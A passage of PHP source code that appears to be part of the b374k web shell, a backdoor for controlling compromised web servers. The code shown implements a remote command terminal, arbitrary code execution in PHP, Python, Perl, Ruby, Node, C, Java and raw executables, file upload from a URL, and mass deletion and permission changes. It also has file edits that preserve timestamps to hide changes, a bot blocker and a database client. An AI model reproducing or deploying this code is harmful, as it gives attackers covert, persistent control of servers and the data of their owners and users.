  744.         foreach($allfiles as $f){
  745.             $output .= "
  746.     <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
  747.     <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td>
  748.     <td title='".filesize($f)."'>".get_filesize($f)."</td>";
  749.             foreach($cols as $k=>$v){
  750.                 $sortable = "";
  751.                 if($k=='modified') $sortable = " title='".filemtime($f)."'";
  752.                 $output .= "<td".$sortable.">".$v($f)."</td>";
  753.             }
  754.             $output .= "</tr>";
  755.         }
  756.         $output .= "</tbody><tfoot>";
  757.  
  758.         $colspan = 1 + count($cols);
  759.         $output .= "<tr><td><div class='cBoxAll'></div></td><td>
  760.         <select id='massAction' class='colSpan'>
  761.         <option disabled selected>Action</option>
  762.         <option>cut</option>
  763.         <option>copy</option>
  764.         <option>paste</option>
  765.         <option>delete</option>
  766.         <option disabled>------------</option>
  767.         <option>chmod</option>
  768.         <option>chown</option>
  769.         <option>touch</option>
  770.         <option disabled>------------</option>
  771.         <option>extract (tar)</option>
  772.         <option>extract (tar.gz)</option>
  773.         <option>extract (zip)</option>
  774.         <option disabled>------------</option>
  775.         <option>compress (tar)</option>
  776.         <option>compress (tar.gz)</option>
  777.         <option>compress (zip)</option>
  778.         <option disabled>------------</option>
  779.         </select>
  780.         </td><td colspan='".$colspan."'></td></tr>
  781.         <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr>
  782.         ";
  783.         $output .= "</tfoot></table>";
  784.         return $output;
  785.     }
  786. }
  787.  
  788. if(!function_exists('eval_get_supported')){
  789.     function eval_get_supported(){
  790.         $eval_supported = array();
  791.        
  792.         $eval_supported[] = "php";
  793.  
  794.         $check = strtolower(execute("python -h"));
  795.         if(strpos($check,"usage")!==false) $eval_supported[] = "python";
  796.  
  797.         $check = strtolower(execute("perl -h"));
  798.         if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
  799.  
  800.         $check = strtolower(execute("ruby -h"));
  801.         if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
  802.  
  803.         $check = strtolower(execute("node -h"));
  804.         if(strpos($check,"usage")!==false) $eval_supported[] = "node";
  805.         else{
  806.             $check = strtolower(execute("nodejs -h"));
  807.             if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
  808.         }
  809.  
  810.         $check = strtolower(execute("gcc --help"));
  811.         if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
  812.  
  813.         $check = strtolower(execute("java -help"));
  814.         if(strpos($check,"usage")!==false){
  815.             $check = strtolower(execute("javac -help"));
  816.             if(strpos($check,"usage")!==false) $eval_supported[] = "java";
  817.         }
  818.  
  819.         return implode(",", $eval_supported);
  820.     }
  821. }
  822.  
  823. if(!function_exists('eval_go')){
  824.     function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
  825.         $res = "";
  826.         $output = "";
  827.         if($evalOptions!="") $evalOptions = $evalOptions." ";
  828.         if($evalArguments!="") $evalArguments = " ".$evalArguments;
  829.  
  830.         if($evalType=="php"){
  831.             ob_start();
  832.             eval($evalCode);
  833.             $res = ob_get_contents();
  834.             ob_end_clean();
  835.             return $res;
  836.         }
  837.         elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
  838.             $tmpdir = get_writabledir();
  839.             chdir($tmpdir);
  840.  
  841.             $res .= "Using dir : ".$tmpdir;
  842.             if(is_writable($tmpdir)){
  843.                 $res .= " (writable)\n";
  844.                 $uniq = substr(md5(time()),0,8);
  845.                 $filename = $evalType.$uniq;
  846.                 $path = $filename;
  847.                 $res .= "Temporary file : ".$path;
  848.                 if(write_file($path, $evalCode)){
  849.                     $res .= " (ok)\n";
  850.                     $res .= "Setting permissions : 0755";
  851.                     if(chmod($path, 0755)){
  852.                         $res .= " (ok)\n";
  853.                         $cmd = $evalType." ".$evalOptions.$path.$evalArguments;
  854.                         $res .= "Execute : ".$cmd."\n";
  855.                         $output = execute($cmd);
  856.                     }
  857.                     else $res .= " (failed)\n";
  858.  
  859.                     $res .= "Deleting temporary file : ".$path;
  860.                     if(unlink($path)) $res .= " (ok)\n";
  861.                     else $res .= " (failed)\n";
  862.                 }
  863.                 else $res .= " (failed)\n";
  864.             }
  865.             else $res .= " (not writable)\n";
  866.  
  867.             $res .= "Finished...";
  868.             return $res."{[|b374k|]}".$output;
  869.         }
  870.         elseif($evalType=="gcc"){
  871.             $tmpdir = get_writabledir();
  872.             chdir($tmpdir);
  873.  
  874.             $res .= "Using dir : ".$tmpdir;
  875.             if(is_writable($tmpdir)){
  876.                 $res .= " (writable)\n";
  877.                 $uniq = substr(md5(time()),0,8);
  878.                 $filename = $evalType.$uniq.".c";
  879.                 $path = $filename;
  880.                 $res .= "Temporary file : ".$path;
  881.                 if(write_file($path, $evalCode)){
  882.                     $res .= " (ok)\n";
  883.                     $ext = (is_win())? ".exe":".out";
  884.                     $pathres = $filename.$ext;
  885.                     $evalOptions = "-o ".$pathres." ".$evalOptions;
  886.                     $cmd = "gcc ".$evalOptions.$path;
  887.                     $res .= "Compiling : ".$cmd;
  888.                     $res .= execute($cmd);
  889.                     if(is_file($pathres)){
  890.                         $res .= " (ok)\n";
  891.                         $res .= "Setting permissions : 0755";
  892.                         if(chmod($pathres, 0755)){
  893.                             $res .= " (ok)\n";
  894.                             $cmd = $pathres.$evalArguments;
  895.                             $res .= "Execute : ".$cmd."\n";
  896.                             $output = execute($cmd);
  897.                         }
  898.                         else $res .= " (failed)\n";
  899.                         $res .= "Deleting temporary file : ".$pathres;
  900.                         if(unlink($pathres)) $res .= " (ok)\n";
  901.                         else $res .= " (failed)\n";
  902.                     }
  903.                     else $res .= " (failed)\n";
  904.                     $res .= "Deleting temporary file : ".$path;
  905.                     if(unlink($path)) $res .= " (ok)\n";
  906.                     else $res .= " (failed)\n";
  907.                 }
  908.                 else $res .= " (failed)\n";
  909.             }
  910.             else $res .= " (not writable)\n";
  911.  
  912.             $res .= "Finished...";
  913.             return $res."{[|b374k|]}".$output;
  914.         }
  915.         elseif($evalType=="java"){
  916.             $tmpdir = get_writabledir();
  917.             chdir($tmpdir);
  918.  
  919.             $res .= "Using dir : ".$tmpdir;
  920.             if(is_writable($tmpdir)){
  921.                 $res .= " (writable)\n";
  922.  
  923.                 if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
  924.                     $classname = trim($r[1]);
  925.                     $filename = $classname;
  926.                 }
  927.                 else{
  928.                     $uniq = substr(md5(time()),0,8);
  929.                     $filename = $evalType.$uniq;
  930.                     $evalCode = "class ".$filename." { ".$evalCode . " } ";
  931.                 }
  932.  
  933.                 $path = $filename.".java";
  934.                 $res .= "Temporary file : ".$path;
  935.                 if(write_file($path, $evalCode)){
  936.                     $res .= " (ok)\n";
  937.                     $cmd = "javac ".$evalOptions.$path;
  938.                     $res .= "Compiling : ".$cmd;
  939.                     $res .= execute($cmd);
  940.                     $pathres = $filename.".class";
  941.                     if(is_file($pathres)){
  942.                         $res .= " (ok)\n";
  943.                         $res .= "Setting permissions : 0755";
  944.                         if(chmod($pathres, 0755)){
  945.                             $res .= " (ok)\n";
  946.                             $cmd = "java ".$filename.$evalArguments;
  947.                             $res .= "Execute : ".$cmd."\n";
  948.                             $output = execute($cmd);
  949.                         }
  950.                         else $res .= " (failed)\n";
  951.                         $res .= "Deleting temporary file : ".$pathres;
  952.                         if(unlink($pathres)) $res .= " (ok)\n";
  953.                         else $res .= " (failed)\n";
  954.                     }
  955.                     else $res .= " (failed)\n";
  956.                     $res .= "Deleting temporary file : ".$path;
  957.                     if(unlink($path)) $res .= " (ok)\n";
  958.                     else $res .= " (failed)\n";
  959.                 }
  960.                 else $res .= " (failed)\n";
  961.             }
  962.             else $res .= " (not writable)\n";
  963.  
  964.             $res .= "Finished...";
  965.             return $res."{[|b374k|]}".$output;
  966.         }
  967.         elseif($evalType=="executable"){
  968.             $tmpdir = get_writabledir();
  969.             chdir($tmpdir);
  970.  
  971.             $res .= "Using dir : ".$tmpdir;
  972.             if(is_writable($tmpdir)){
  973.                 $res .= " (writable)\n";
  974.                 $uniq = substr(md5(time()),0,8);
  975.                 $filename = $evalType.$uniq.".exe";
  976.                 $path = $filename;
  977.                 $res .= "Temporary file : ".$path;
  978.                 if(write_file($path, $evalCode)){
  979.                     $res .= " (ok)\n";
  980.                     $cmd = $path.$evalArguments;
  981.                     $res .= "Execute : ".$cmd."\n";
  982.                     $output = execute($cmd);
  983.  
  984.                     $res .= "Deleting temporary file : ".$path;
  985.                     if(unlink($path)) $res .= " (ok)\n";
  986.                     else $res .= " (failed)\n";
  987.                 }
  988.                 else $res .= " (failed)\n";
  989.             }
  990.             else $res .= " (not writable)\n";
  991.  
  992.             $res .= "Finished...";
  993.             return $res."{[|b374k|]}".$output;
  994.         }
  995.         return false;
  996.     }
  997. }
  998.  
  999. if(!function_exists('output')){
  1000.     function output($str){
  1001.         $error = @ob_get_contents();
  1002.         @ob_end_clean();
  1003.         header("Content-Type: text/plain");
  1004.         header("Cache-Control: no-cache");
  1005.         header("Pragma: no-cache");
  1006.         echo $str;
  1007.         die();
  1008.     }
  1009. }
  1010. block_bot();
  1011. auth();
  1012. chdir(get_cwd());
  1013. $nav = get_nav(get_cwd());
  1014. $p = array_map("rawurldecode", get_post());
  1015. $cwd = html_safe(get_cwd());
  1016. $GLOBALS['module'] = array();
  1017.  
  1018. $explorer_content = "";
  1019. if(isset($p['viewEntry'])){
  1020.     $path = trim($p['viewEntry']);
  1021.     if(is_file($path)){
  1022.         $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
  1023.         setcookie("cwd", $dirname);
  1024.         chdir($dirname);
  1025.         $nav = get_nav($dirname);
  1026.         $cwd = html_safe($dirname);
  1027.         $explorer_content = view_file($path, "auto");
  1028.     }
  1029.     elseif(is_dir($path)){
  1030.         $path = realpath($path).DIRECTORY_SEPARATOR;
  1031.         setcookie("cwd", $path);
  1032.         chdir($path);
  1033.         $nav = get_nav($path);
  1034.         $cwd = html_safe($path);
  1035.         $explorer_content = show_all_files($path);
  1036.     }
  1037. }
  1038. else $explorer_content = show_all_files(get_cwd());
  1039.  
  1040. $GLOBALS['module']['explorer']['id'] = "explorer";
  1041. $GLOBALS['module']['explorer']['title'] = "Explorer";
  1042. $GLOBALS['module']['explorer']['js_ontabselected'] = "";
  1043. $GLOBALS['module']['explorer']['content'] = $explorer_content;
  1044.  
  1045. $GLOBALS['module']['terminal']['id'] = "terminal";
  1046. $GLOBALS['module']['terminal']['title'] = "Terminal";
  1047. $GLOBALS['module']['terminal']['js_ontabselected'] = "
  1048. if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
  1049. $GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";
  1050.  
  1051.  
  1052. $GLOBALS['module']['eval']['id'] = "eval";
  1053. $GLOBALS['module']['eval']['title'] = "Eval";
  1054. $GLOBALS['module']['eval']['js_ontabselected'] = "
  1055. if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
  1056. $GLOBALS['module']['eval']['content'] = "
  1057. <table class='boxtbl'>
  1058. <thead>
  1059.     <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
  1060. </thead>
  1061. <tbody>
  1062.     <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>
  1063.    
  1064.     <tr id='evalAdditional'><td colspan='4'>
  1065.         <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1066.         <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1067.     </td></tr>
  1068.    
  1069.     <tr>
  1070.         <td style='width:144px;'>
  1071.             <select id='evalType'>
  1072.                
  1073.             </select>
  1074.         </td>
  1075.         <td colspan='3'>
  1076.             <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>
  1077.         </td>
  1078.     </tr>
  1079.    
  1080.     <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
  1081. </tbody>
  1082. </table>
  1083. ";
  1084.  
  1085. $res = "";
  1086. if(isset($p['cd'])){
  1087.     $path = $p['cd'];
  1088.     if(trim($path)=='') $path = dirname(__FILE__);
  1089.  
  1090.     $path = realpath($path);
  1091.     if(is_file($path)) $path = dirname($path);
  1092.     if(is_dir($path)){
  1093.         chdir($path);
  1094.         $path = $path.DIRECTORY_SEPARATOR;
  1095.         setcookie("cwd", $path);
  1096.         $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
  1097.         if(isset($p['showfiles'])&&($p['showfiles']=='true')){
  1098.             $res .= show_all_files($path);
  1099.         }
  1100.     }
  1101.     else $res = "error";
  1102.     output($res);
  1103. }
  1104. elseif(isset($p['viewFile']) && isset($p['viewType'])){
  1105.     $path = trim($p['viewFile']);
  1106.     $type = trim($p['viewType']);
  1107.     $preserveTimestamp = trim($p['preserveTimestamp']);
  1108.     if(is_file($path)){
  1109.         $res = view_file($path, $type, $preserveTimestamp);
  1110.     }
  1111.     else $res = "error";
  1112.     output($res);
  1113. }
  1114. elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
  1115.     $renameFile = trim($p['renameFile']);
  1116.     $renameFileTo = trim($p['renameFileTo']);
  1117.     if(file_exists($renameFile)){
  1118.         if(rename($renameFile, $renameFileTo)){
  1119.             $res = dirname($renameFileTo);
  1120.         }
  1121.         else $res = "error";
  1122.     }
  1123.     else $res = "error";
  1124.     output($res);
  1125. }
  1126. elseif(isset($p['newFolder'])){
  1127.     $newFolder = trim($p['newFolder']);
  1128.     if(mkdir($newFolder)){
  1129.         $res = dirname($newFolder);
  1130.     }
  1131.     else $res = "error";
  1132.     output($res);
  1133. }
  1134. elseif(isset($p['newFile'])){
  1135.     $newFile = trim($p['newFile']);
  1136.     if(touch($newFile)){
  1137.         $res = dirname($newFile);
  1138.     }
  1139.     else $res = "error";
  1140.     output($res);
  1141. }
  1142. elseif(isset($p['delete'])){
  1143.     $path = trim($p['delete']);
  1144.     $dirname = dirname($path);
  1145.     if(is_file($path)){
  1146.         if(unlink($path)) $res = $dirname;
  1147.     }
  1148.     elseif(is_dir($path)){
  1149.         if(rmdirs($path)>0) $res = $dirname;
  1150.     }
  1151.     else $res = "error";
  1152.     if(file_exists($path)) $res = "error";
  1153.     output($res);
  1154. }
  1155. elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
  1156.     $editFilename = trim($p['editFilename']);
  1157.     $editInput = trim($p['editInput']);
  1158.     $editType = trim($p['editType']);
  1159.     $preserveTimestamp = trim($p['preserveTimestamp']);
  1160.     $time = filemtime($editFilename);
  1161.     if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
  1162.     if(write_file($editFilename, $editInput)){
  1163.         $res = $editFilename;
  1164.         if($preserveTimestamp=='true') touch($editFilename, $time);
  1165.     }
  1166.     else $res = "error";
  1167.     output($res);
  1168. }
  1169. elseif(isset($p['findType'])){
  1170.     $findType = trim($p['findType']);
  1171.     $findPath = trim($p['findPath']);
  1172.     $findName = trim($p['findName']);
  1173.     $findNameRegex = trim($p['findNameRegex']);
  1174.     $findNameInsensitive = trim($p['findNameInsensitive']);
  1175.     $findContent = trim($p['findContent']);
  1176.     $findContentRegex = trim($p['findContentRegex']);
  1177.     $findContentInsensitive = trim($p['findContentInsensitive']);
  1178.     $findReadable = trim($p['findReadable']);
  1179.     $findWritable = trim($p['findWritable']);
  1180.     $findExecutable = trim($p['findExecutable']);
  1181.  
  1182.     $candidate = get_all_files($findPath);
  1183.     if($findType=='file') $candidate = array_filter($candidate, "is_file");
  1184.     elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
  1185.     else $res = "error";
  1186.  
  1187.     foreach($candidate as $k){
  1188.         if(($findType=="file")||($findType=="folder")){
  1189.             if(!empty($findName)){
  1190.                 if($findNameRegex=="true"){
  1191.                     $case = ($findNameInsensitive=="true")? "i":"";
  1192.                     if(!preg_match("/".$findName."/".$case, basename($k))){
  1193.                         $candidate = array_diff($candidate, array($k));
  1194.                     }
  1195.                 }
  1196.                 else{
  1197.                     $check = false;
  1198.                     if($findNameInsensitive=="true"){
  1199.                         $check = strpos(strtolower(basename($k)), strtolower($findName))===false;
  1200.                     }
  1201.                     else{
  1202.                         $check = strpos(basename($k), $findName)===false;
  1203.                     }
  1204.  
  1205.                     if($check){
  1206.                         $candidate = array_diff($candidate, array($k));
  1207.                     }
  1208.                 }
  1209.             }
  1210.         }
  1211.         if($findType=="file"){
  1212.             if(!empty($findContent)){
  1213.                 $content = read_file($k);
  1214.                 if($findContentRegex=="true"){
  1215.                     $case = ($findContentInsensitive=="true")? "i":"";
  1216.                     if(!preg_match("/".$findContent."/".$case, $content)){
  1217.                         $candidate = array_diff($candidate, array($k));
  1218.                     }
  1219.                 }
  1220.                 else{
  1221.                     $check = false;
  1222.                     if($findContentInsensitive=="true"){
  1223.                         $check = strpos(strtolower($content), strtolower($findContent))===false;
  1224.                     }
  1225.                     else{
  1226.                         $check = strpos($content, $findContent)===false;
  1227.                     }
  1228.                     if($check){
  1229.                         $candidate = array_diff($candidate, array($k));
  1230.                     }
  1231.                 }
  1232.             }
  1233.         }
  1234.     }
  1235.  
  1236.     foreach($candidate as $k){
  1237.         if($findReadable=="true"){
  1238.             if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
  1239.         }
  1240.         if($findWritable=="true"){
  1241.             if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
  1242.         }
  1243.         if($findExecutable=="true"){
  1244.             if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
  1245.         }
  1246.     }
  1247.  
  1248.     if(count($candidate)>0){
  1249.         $res = "";
  1250.         foreach($candidate as $k){
  1251.             $res .= "<p><span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
  1252.         }
  1253.     }
  1254.     else $res = "";
  1255.     output($res);
  1256. }
  1257. elseif(isset($p['ulType'])){
  1258.     $ulSaveTo = trim($p['ulSaveTo']);
  1259.     $ulFilename = trim($p['ulFilename']);
  1260.  
  1261.     if($p['ulType']=='comp'){
  1262.         $ulFile = $_FILES['ulFile'];
  1263.         if(empty($ulFilename)) $ulFilename = $ulFile['name'];
  1264.  
  1265.         if(is_uploaded_file($ulFile['tmp_name'])){
  1266.             if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1267.             $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1268.             if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
  1269.                 $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1270.             }
  1271.             else $res = "error";
  1272.         }
  1273.         else $res = "error";
  1274.     }
  1275.     elseif($p['ulType']=='url'){
  1276.         $ulFile = trim($p['ulFile']);
  1277.         if(empty($ulFilename)) $ulFilename = basename($ulFile);
  1278.         if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1279.         $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1280.  
  1281.         if(download($ulFile, $newfile)){
  1282.             $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1283.         }
  1284.         else $res = "error";
  1285.     }
  1286.     else $res = "error";
  1287.     output($res);
  1288. }
  1289. elseif(isset($p['download'])){
  1290.     $file = trim($p['download']);
  1291.     if(is_file($file)){
  1292.         header("Content-Type: application/octet-stream");
  1293.         header('Content-Transfer-Encoding: binary');
  1294.         header("Content-length: ".filesize($file));
  1295.         header("Cache-Control: no-cache");
  1296.         header("Pragma: no-cache");
  1297.         header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  1298.         $handler = fopen($file,"rb");
  1299.         while(!feof($handler)){
  1300.             print(fread($handler, 1024*8));
  1301.             @ob_flush();
  1302.             @flush();
  1303.         }
  1304.         fclose($handler);
  1305.         die();
  1306.     }
  1307. }
  1308. elseif(isset($p['multimedia'])){
  1309.     $file = trim($p['multimedia']);
  1310.     $mime_list = get_resource('mime');
  1311.     $mime = "";
  1312.     $file_ext_pos = strrpos($file, ".");
  1313.     if($file_ext_pos!==false){
  1314.         $file_ext = trim(substr($file, $file_ext_pos),".");
  1315.         if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  1316.             $mime = $res[1];
  1317.         }
  1318.     }
  1319.  
  1320.     if(is_file($file)){
  1321.         header("Content-Type: ".$mime);
  1322.         header('Content-Transfer-Encoding: binary');
  1323.         header("Content-length: ".filesize($file));
  1324.         echo "data:".$mime.";base64,".base64_encode(read_file($file));
  1325.         die();
  1326.     }
  1327. }
  1328. elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
  1329.     $massType = trim($p['massType']);
  1330.     $massBuffer = trim($p['massBuffer']);
  1331.     $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
  1332.     $massValue = trim($p['massValue']);
  1333.     $counter = 0;
  1334.  
  1335.     $massBufferArr = explode("\n", $massBuffer);
  1336.     if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
  1337.         if(compress($massType, $massValue, $massBufferArr)){
  1338.             $counter++;
  1339.             return $counter;
  1340.         }
  1341.     }
  1342.     else{
  1343.         foreach($massBufferArr as $k){
  1344.             $path = trim($k);
  1345.             if(file_exists($path)){
  1346.                 $preserveTimestamp = filemtime($path);
  1347.                 if($massType=='delete'){
  1348.                     if(is_file($path)){
  1349.                         if(unlink($path)) $counter++;
  1350.                     }
  1351.                     elseif(is_dir($path)){
  1352.                         if(rmdirs($path)>0) $counter++;
  1353.                     }
  1354.                 }
  1355.                 elseif($massType=='cut'){
  1356.                     $dest = $massPath.basename($path);
  1357.                     if(rename($path, $dest)){
  1358.                         $counter++;
  1359.                         touch($dest, $preserveTimestamp);
  1360.                     }
  1361.                 }
  1362.                 elseif($massType=='copy'){
  1363.                     $dest = $massPath.basename($path);
  1364.                     if(is_dir($path)){
  1365.                         if(copys($path, $dest)>0) $counter++;
  1366.                     }
  1367.                     elseif(is_file($path)){
  1368.                         if(copy($path, $dest)) $counter++;
  1369.                     }
  1370.                 }
  1371.                 elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
  1372.                     if(decompress($massType, $path, $massValue)){
  1373.                         $counter++;
  1374.                         return $counter;
  1375.                     }
  1376.                 }
  1377.                 elseif(!empty($massValue)){
  1378.                     if($massType=='chmod'){
  1379.                         if(chmod($path, octdec($massValue))) $counter++;
  1380.                     }
  1381.                     elseif($massType=='chown'){
  1382.                         if(chown($path, $massValue)) $counter++;
  1383.                     }
  1384.                     elseif($massType=='touch'){
  1385.                         if(touch($path, strtotime($massValue))) $counter++;
  1386.                     }
  1387.                 }
  1388.             }
  1389.         }
  1390.     }
  1391.     if($counter>0) output($counter);
  1392.     output('error');
  1393. }
  1394. elseif(isset($p['viewFileorFolder'])){
  1395.     $entry = $p['viewFileorFolder'];
  1396.     if(is_file($entry)) output('file');
  1397.     elseif(is_dir($entry)) output('folder');
  1398.     output('error');
  1399. }
  1400. elseif(isset($p['terminalInput'])){
  1401.     output(html_safe(execute($p['terminalInput'])));
  1402. }
  1403. elseif(isset($p['evalInput']) && isset($p['evalType'])){
  1404.     $evalInput = $p['evalInput'];
  1405.     $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
  1406.     $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
  1407.     $evalType = $p['evalType'];
  1408.  
  1409.     error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  1410.     @ini_set('html_errors','0');
  1411.     @ini_set('display_errors','1');
  1412.     @ini_set('display_startup_errors','1');
  1413.  
  1414.     $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
  1415.     if($res===false) $res == "error";
  1416.     output(html_safe($res));
  1417. }
  1418. elseif(isset($p['evalGetSupported'])){
  1419.     $res = eval_get_supported();
  1420.     output($res);
  1421. }
  1422. $GLOBALS['module']['convert']['id'] = "convert";
  1423. $GLOBALS['module']['convert']['title'] = "Convert";
  1424. $GLOBALS['module']['convert']['js_ontabselected'] = "
  1425. if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
  1426. $GLOBALS['module']['convert']['content'] = "
  1427. <table class='boxtbl'>
  1428. <thead>
  1429.     <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
  1430. </thead>
  1431. <tbody>
  1432.     <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr>
  1433.     <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
  1434. </tbody>
  1435. <tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
  1436. </table>";
  1437.  
  1438. if(!function_exists('decode')){
  1439.     function decode($str){
  1440.         $res = "";
  1441.         $length = (int) strlen($str);
  1442.  
  1443.         $res .= decode_line("md5", md5($str), "input");
  1444.         $res .= decode_line("sha1", sha1($str), "input");
  1445.  
  1446.         $res .= decode_line("base64 encode", base64_encode($str), "textarea");
  1447.         $res .= decode_line("base64 decode", base64_decode($str), "textarea");
  1448.  
  1449.  
  1450.         $res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
  1451.         $res .= decode_line("string to hex", bin2hex($str), "textarea");
  1452.  
  1453.         $ascii = "";
  1454.         for($i=0; $i<$length; $i++){
  1455.             $ascii .= ord(substr($str,$i,1))." ";
  1456.         }
  1457.         $res .= decode_line("ascii char", trim($ascii), "textarea");
  1458.  
  1459.         $res .= decode_line("reversed", strrev($str), "textarea");
  1460.         $res .= decode_line("lowercase", strtolower($str), "textarea");
  1461.         $res .= decode_line("uppercase", strtoupper($str), "textarea");
  1462.  
  1463.         $res .= decode_line("urlencode", urlencode($str), "textarea");
  1464.         $res .= decode_line("urldecode", urldecode($str), "textarea");
  1465.         $res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
  1466.         $res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
  1467.  
  1468.         $res .= decode_line("htmlentities", html_safe($str), "textarea");
  1469.  
  1470.         if(function_exists('hash_algos')){
  1471.             $algos = hash_algos();
  1472.             foreach($algos as $algo){
  1473.                 if(($algo=='md5')||($algo=='sha1')) continue;
  1474.                 $res .= decode_line($algo, hash($algo, $str), "input");
  1475.             }
  1476.         }
  1477.  
  1478.         return $res;
  1479.     }
  1480. }
  1481.  
  1482. if(!function_exists('decode_line')){
  1483.     function decode_line($type, $result, $inputtype){
  1484.         $res = "<tr><td class='colFit'>".$type."</td><td>";
  1485.         if($inputtype=='input'){
  1486.             $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>";
  1487.         }
  1488.         else{
  1489.             $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>";
  1490.         }
  1491.         return $res;
  1492.     }
  1493. }
  1494.  
  1495. if(isset($p['decodeStr'])){
  1496.     $decodeStr = $p['decodeStr'];
  1497.     output(decode($decodeStr));
  1498. }
  1499. $GLOBALS['module']['database']['id'] = "database";
  1500. $GLOBALS['module']['database']['title'] = "Database";
  1501. $GLOBALS['module']['database']['js_ontabselected'] = "";
  1502. $GLOBALS['module']['database']['content'] = "
  1503. <table class='boxtbl'>
  1504. <thead>
  1505.     <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
  1506. </thead>
  1507. <tbody>
  1508.     <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1509.     <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1510.     <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1511.     <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1512. </tbody>
  1513. <tfoot>
  1514.     <tr class='dbConnectRow'>
  1515.         <td style='width:144px;'>
  1516.             <select id='dbType'>
  1517.             </select>
  1518.         </td>
  1519.         <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
  1520.         <td class='dbError'></td>
  1521.     </tr>
  1522.     <tr class='dbQueryRow' style='display:none;'>
  1523.         <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
  1524.     </tr>
  1525.     <tr class='dbQueryRow' style='display:none;'>
  1526.         <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
  1527.         <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
  1528.         <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
  1529.     </tr>
  1530. </tfoot>
  1531. </table>
